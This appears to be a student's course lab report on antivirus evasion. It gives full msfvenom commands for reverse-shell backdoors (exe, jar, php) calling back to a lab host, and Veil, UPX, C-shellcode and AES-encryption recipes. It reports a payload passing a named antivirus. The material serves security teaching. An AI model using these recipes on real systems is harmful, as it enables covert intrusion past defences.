20232407 2025-2026-1 《網(wǎng)絡(luò)與系統(tǒng)攻防技術(shù)》 實(shí)驗(yàn)三實(shí)驗(yàn)報(bào)告
1.實(shí)驗(yàn)內(nèi)容
實(shí)踐內(nèi)容
(1)正確使用msf編碼器,veil-evasion,自己利用shellcode編程等免殺工具或技巧
-
正確使用msf編碼器,使用msfvenom生成如jar之類的其他文件
-
veil,加殼工具
-
使用C + shellcode編程
(2)通過(guò)組合應(yīng)用各種技術(shù)實(shí)現(xiàn)惡意代碼免殺
如果成功實(shí)現(xiàn)了免殺的,簡(jiǎn)單語(yǔ)言描述原理,不要截圖。與殺軟共生的結(jié)果驗(yàn)證要截圖。
(3)用另一電腦實(shí)測(cè),在殺軟開(kāi)啟的情況下,可運(yùn)行并回連成功,注明電腦的殺軟名稱與版本
實(shí)驗(yàn)要求
-
掌握免殺原理與技術(shù)
-
回答問(wèn)題
(1)殺軟是如何檢測(cè)出惡意代碼的?
1. 特征碼檢測(cè):殺軟廠商會(huì)提取已知惡意代碼的 “指紋”,即一段唯一的二進(jìn)制特征碼,存入特征庫(kù)。掃描時(shí),殺軟會(huì)將電腦中的文件與特征庫(kù)比對(duì),一旦匹配就判定為惡意代碼。
2. 行為分析:當(dāng)程序出現(xiàn)異常操作時(shí),如修改系統(tǒng)關(guān)鍵文件、私自聯(lián)網(wǎng)發(fā)送數(shù)據(jù)、創(chuàng)建大量可疑進(jìn)程,殺軟會(huì)觸發(fā)警報(bào)。
3. 啟發(fā)式掃描:殺軟會(huì)根據(jù)已知惡意代碼的行為模式,建立一套判斷規(guī)則。掃描時(shí),若程序符合 “惡意行為特征” 的概率超過(guò)閾值,即使沒(méi)有特征碼匹配,也會(huì)被標(biāo)記為可疑文件。
(2)免殺是做什么?
免殺是通過(guò)技術(shù)手段偽裝惡意代碼,讓殺毒軟件無(wú)法識(shí)別,從而繞過(guò)檢測(cè)并在目標(biāo)設(shè)備上運(yùn)行的行為。
其核心思路圍繞對(duì)抗殺軟的檢測(cè)方式展開(kāi):修改惡意代碼的特征碼,避開(kāi) “特征碼檢測(cè)”。偽裝惡意行為,比如延遲操作,躲避 “行為分析”。調(diào)整代碼結(jié)構(gòu),降低被 “啟發(fā)式掃描” 判定為可疑的概率。
(3)免殺的基本方法有哪些?
1. 特征碼修改
加殼 / 混淆:給惡意代碼套上一層 “外殼” 或打亂代碼結(jié)構(gòu),改變其表面特征碼,常見(jiàn)工具有 UPX、Themida。
代碼重寫(xiě):修改惡意代碼中非核心功能的代碼片段,比如替換變量名、調(diào)整語(yǔ)句順序,不影響功能但改變特征。
多態(tài) / 變形:讓惡意代碼每次傳播時(shí)自動(dòng)改變部分代碼結(jié)構(gòu),生成不同特征碼,避免被單一特征碼識(shí)別。
2. 行為偽裝
延遲執(zhí)行:惡意代碼啟動(dòng)后不立即觸發(fā)惡意行為,等待一段時(shí)間或特定條件(如用戶操作后)再運(yùn)行,避開(kāi)實(shí)時(shí)監(jiān)控。
模擬正常行為:偽裝成合法程序的操作,比如模仿瀏覽器聯(lián)網(wǎng)、辦公軟件讀寫(xiě)文件,降低行為異常度。
權(quán)限繞過(guò):通過(guò)低權(quán)限操作實(shí)現(xiàn)惡意目的,或暫時(shí)關(guān)閉殺軟的監(jiān)控模塊(需特定漏洞),減少行為暴露。
3. 規(guī)避掃描
內(nèi)存加載:惡意代碼不落地生成文件,直接在內(nèi)存中運(yùn)行,避免被文件掃描檢測(cè)到。
利用白名單:將惡意代碼注入到殺軟信任的合法程序(如系統(tǒng)進(jìn)程、常用軟件)中,借助白名單繞過(guò)掃描。
分段執(zhí)行:將惡意代碼拆分成多個(gè)片段,分開(kāi)傳輸或加載,單個(gè)片段不具備惡意特征,組合后才觸發(fā)功能。
2.實(shí)驗(yàn)過(guò)程
一.正確使用msf編碼器,veil-evasion,自己利用shellcode編程等免殺工具或技巧
1.正確使用msf編碼器,使用msfvenom生成如jar之類的其他文件
免殺檢測(cè)
1.參考實(shí)驗(yàn)二Exp2-后門(mén)原理與實(shí)踐中的第三個(gè)小實(shí)驗(yàn),在Kali上用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.128 LPORT=2407 -f exe > 20232407_backdoor_1.exe生成針對(duì)Windows的毒化后門(mén)可執(zhí)行程序20232407_backdoor_1.exe

2.放入VirusTotal中進(jìn)行掃描

71款殺軟中57款報(bào)出了病毒,不加處理的后門(mén)程序能被大部分的殺軟檢測(cè)到
3.使用msf編碼器多次迭代,生成exe文件
-
編碼會(huì)降低檢出率,理論上講多編碼幾次,可降低被檢測(cè)出的可能性
-
一次編碼使用命令:
-e選擇編碼器,-b是payload中需要去除的字符,該命令中為了使'\x00'不出現(xiàn)在shellcode中,因?yàn)閟hellcode以'\x00'為結(jié)束符
在Kali中輸入如下命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.183.128 LPORT=2407 -f exe > 20232407exp3.exe

用VirusTotal檢測(cè)還是能檢測(cè)出問(wèn)題

4.加入多次編碼參數(shù)-i,繼續(xù)嘗試

放入VirusTotal查殺還是會(huì)檢測(cè)出病毒

以上步驟說(shuō)明簡(jiǎn)單的多次編碼無(wú)法實(shí)現(xiàn)免殺
生成jar格式的后門(mén)文件
在kali中輸入msfvenom -p java/shell_reverse_tcp LHOST=192.168.183.128 LPORT=2407 -f jar > exp3_jar.jar

病毒檢測(cè)

有38個(gè)機(jī)構(gòu)檢測(cè)出病毒
生成php格式的后門(mén)文件
使用如下命令生成php格式的后門(mén)文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.183.128 LPORT=2407 x> 20232407exp3.php

病毒檢測(cè)

檢測(cè)出病毒的機(jī)構(gòu)變少了
2.使用veil,加殼工具
安裝完veil后,輸入veil進(jìn)入veil命令行

使用veil-evasion生成后門(mén)程序及檢測(cè)
用use evasion命令進(jìn)入Veil-Evasion

輸入命令use c/meterpreter/rev_tcp.py進(jìn)入配置界面

設(shè)置IP和端口set LHOST 192.168.183.128和set LPORT 2407

輸入generate生成文件,接著輸入命名,如:20232407_veil

通過(guò)VirusTotal檢測(cè),仍能被37個(gè)機(jī)構(gòu)檢測(cè)出病毒

對(duì)后門(mén)進(jìn)行加殼處理
使用命令upx 20232407_veil.exe -o 20232407exp3veils.exe進(jìn)行加殼

再次檢測(cè),發(fā)現(xiàn)基本沒(méi)有太大變化

3.使用C + shellcode編程
通過(guò)命令用msf生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.128 LPORT=2407 -f c

將攻擊代碼寫(xiě)進(jìn)C語(yǔ)言exp3.c

使用i686-w64-mingw32-g++ exp3.c -o exp3_c.exe編譯成可執(zhí)行文件

再次進(jìn)行檢測(cè),檢出率還是有所下降的

二.通過(guò)組合應(yīng)用各種技術(shù)實(shí)現(xiàn)惡意代碼免殺
利用python+aes_encrypt
打開(kāi)veil,選擇Evasion

輸入list,找到攻擊代碼

輸入use python/shellcode_inject/aes_encrypt.py

輸入generate,并選擇2

進(jìn)行配置,輸出到路徑/usr/share/veil/
再次檢測(cè),發(fā)現(xiàn)檢測(cè)病毒幾乎沒(méi)有

不能完全免殺的原因:使用的加密方式有效隱藏了原始 shellcode 的惡意特征,因此多數(shù)廠商的靜態(tài)特征庫(kù)無(wú)法識(shí)別。
三.用另一電腦實(shí)測(cè),在殺軟開(kāi)啟的情況下,可運(yùn)行并回連成功,注明電腦的殺軟名稱與版本
電腦環(huán)境:win11主機(jī)
殺毒引擎:火絨
殺軟版本:6.0.7.14
木馬庫(kù)版本時(shí)間:2025.10.25
先對(duì)上述實(shí)驗(yàn)生成20232407_veil.exe用upx命令進(jìn)行加殼,然后根據(jù)實(shí)驗(yàn)二的步驟利用ncat傳到主機(jī)中


殺軟掃描沒(méi)任何問(wèn)題

3.問(wèn)題及解決方案
- 問(wèn)題1:無(wú)法下載veil,第一次安裝時(shí)會(huì)顯示報(bào)錯(cuò)找不到autoit文件
- 問(wèn)題1解決方案:報(bào)錯(cuò)后緊接著在命令行中輸入
/usr/share/veil/config/setup.sh --force --silent,即可自動(dòng)修復(fù)錯(cuò)誤.
4.學(xué)習(xí)感悟、思考
通過(guò)這次實(shí)驗(yàn),從nc連不通到Meterpreter拿到Shell,踩了版本不兼容、殺軟攔截、權(quán)限不足的坑,才懂“理論易,實(shí)操難”。免殺要改代碼避特征,注入需調(diào)編譯參數(shù),讓我明白攻擊靠細(xì)節(jié),防御更要防微杜漸。現(xiàn)在不敢亂點(diǎn)不明文件,也懂了安全不是裝殺軟就夠,得從技術(shù)原理到使用習(xí)慣全面警惕。

浙公網(wǎng)安備 33010602011771號(hào)